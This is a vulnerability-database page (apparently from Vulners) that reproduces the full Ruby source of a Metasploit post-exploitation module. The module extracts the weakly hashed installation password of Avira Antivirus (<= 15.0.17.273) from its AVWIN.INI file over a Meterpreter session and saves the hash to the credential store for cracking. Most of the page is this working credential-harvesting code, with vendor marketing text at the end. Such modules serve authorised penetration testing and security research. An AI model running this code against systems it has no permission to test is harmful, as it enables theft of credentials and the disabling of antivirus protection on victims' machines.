Lucene search
+L

Windows Gather Avira Password Extraction

🗓️ 28 Jul 2016 21:29:42Reported by Robert Kugler / robertchrkType 
metasploit
 metasploit
🔗 www.rapid7.com👁 40 Views

Windows Gather Avira Password Extraction. Extracts weakly hashed Avira Antivirus (<= 15.0.17.273) installation password

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Avira Password Extraction',
        'Description' => %q{
          This module extracts the weakly hashed password
          which is used to protect a Avira Antivirus (<= 15.0.17.273) installation.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Robert Kugler / robertchrk'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_fs_stat
            ]
          }
        }
      )
    )
  end

  def run
    print_status('Checking default location...')
    check_programdata('C:\\ProgramData\\Avira\\Antivirus\\CONFIG\\AVWIN.INI')
  end

  def check_programdata(path)
    client.fs.file.stat(path)
    print_status("Found file at #{path}")
    get_ini(path)
  rescue StandardError
    print_error("Error reading or processing #{path}.")
  end

  def get_ini(filename)
    config = client.fs.file.new(filename, 'r')
    parse = Rex::Text.to_ascii(config.read)
    ini = Rex::Parser::Ini.from_s(parse)

    if ini == {}
      print_error('Unable to parse file')
      return
    end

    print_status('Processing configuration file...')
    passwd = ini['COMMON']['Password']
    passwd = passwd.delete '"'
    create_credential({
      workspace_id: myworkspace_id,
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      private_type: :nonreplayable_hash,
      jtr_format: 'Raw-MD5u', # hard coded since hash identifier wont know its unicode
      private_data: passwd,
      service_name: 'Avira Antivirus',
      status: Metasploit::Model::Login::Status::UNTRIED
    })
    print_good("MD5(Unicode) hash found: #{passwd}")
    print_good('Info: Password length is limited to 20 characters.')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation